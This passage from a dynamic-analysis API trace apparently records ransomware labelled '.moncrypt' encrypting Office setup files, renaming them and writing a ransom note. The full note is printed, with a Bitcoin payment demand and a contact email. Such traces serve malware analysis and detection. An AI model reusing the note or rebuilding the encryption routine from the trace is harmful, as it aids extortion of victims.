returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll", cchWideChar=92, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dlle", lpUsedDefaultChar=0x0) returned 92 [0047.575] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\Office Setup Controller\\OSetupPS.dlle", lpUsedDefaultChar=0x0) returned 4 [0047.575] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.575] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.576] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.576] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.576] GlobalUnlock (hMem=0x44000c) returned 0 [0047.576] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.576] GlobalLock (hMem=0x440004) returned 0x554190 [0047.576] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.576] GlobalUnlock (hMem=0x44000c) returned 0 [0047.576] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.576] GlobalUnlock (hMem=0x440004) returned 0 [0047.576] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.576] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.576] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.576] GlobalLock (hMem=0x440004) returned 0x552180 [0047.576] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.576] GlobalUnlock (hMem=0x440004) returned 0 [0047.576] GlobalLock (hMem=0x440004) returned 0x552180 [0047.576] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.576] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.576] GlobalUnlock (hMem=0x440004) returned 0 [0047.576] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.576] GlobalUnlock (hMem=0x44000c) returned 0 [0047.576] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.577] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0047.577] CloseHandle (hObject=0x18c) returned 1 [0047.578] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\я")) returned 1 [0047.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 0x54e240 [0047.579] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0047.579] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0047.579] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", dwFileAttributes=0x20) returned 1 [0047.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0047.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.moncrypt")) returned 1 [0047.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.583] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0047.583] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xaec3a [0047.583] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0047.583] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0047.606] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.606] GlobalLock (hMem=0x440004) returned 0x558190 [0047.606] GlobalHandle (pMem=0x558190) returned 0x440004 [0047.606] GlobalUnlock (hMem=0x440004) returned 0 [0047.606] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0047.606] GlobalLock (hMem=0x440004) returned 0x558190 [0047.606] GlobalHandle (pMem=0x558190) returned 0x440004 [0047.606] GlobalUnlock (hMem=0x440004) returned 0 [0047.606] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0047.606] GlobalLock (hMem=0x440004) returned 0x558190 [0047.606] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.606] GlobalUnlock (hMem=0x44000c) returned 0 [0047.606] GlobalHandle (pMem=0x558190) returned 0x440004 [0047.606] GlobalUnlock (hMem=0x440004) returned 0 [0047.607] GlobalLock (hMem=0x440004) returned 0x552180 [0047.607] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.607] GlobalUnlock (hMem=0x440004) returned 0 [0047.607] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0047.607] GlobalLock (hMem=0x440004) returned 0x552180 [0047.607] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.607] GlobalUnlock (hMem=0x440004) returned 0 [0047.607] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0047.607] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0047.607] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0047.608] SetFilePointer (in: hFile=0x18c, lDistanceToMove=715834, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xaec3a [0047.608] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0047.610] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0047.610] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0047.621] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0047.621] CloseHandle (hObject=0x18c) returned 1 [0047.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.642] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0047.642] CloseHandle (hObject=0x18c) returned 1 [0047.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.moncrypt", dwFileAttributes=0x20) returned 1 [0047.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0047.643] GlobalLock (hMem=0x440004) returned 0x554180 [0047.643] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.643] GlobalUnlock (hMem=0x440004) returned 0 [0047.643] GlobalLock (hMem=0x440004) returned 0x554180 [0047.643] GlobalLock (hMem=0x44000c) returned 0x556190 [0047.643] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.643] GlobalUnlock (hMem=0x440004) returned 0 [0047.643] GlobalHandle (pMem=0x556190) returned 0x44000c [0047.643] GlobalUnlock (hMem=0x44000c) returned 0 [0047.643] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x556190, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69388, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.643] GetLastError () returned 0x2 [0047.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.643] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0047.644] CloseHandle (hObject=0x18c) returned 1 [0047.644] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0047.645] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.645] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.645] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.645] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.645] GlobalUnlock (hMem=0x44000c) returned 0 [0047.645] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.645] GlobalLock (hMem=0x440004) returned 0x556190 [0047.645] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.645] GlobalUnlock (hMem=0x44000c) returned 0 [0047.645] GlobalHandle (pMem=0x556190) returned 0x440004 [0047.645] GlobalUnlock (hMem=0x440004) returned 0 [0047.645] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.645] CharLowerBuffW (in: lpsz="pkeyconfig.companion.dll", cchLength=0x18 | out: lpsz="pkeyconfig.companion.dll") returned 0x18 [0047.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll", cchWideChar=104, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dllX", lpUsedDefaultChar=0x0) returned 104 [0047.646] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\Office Setup 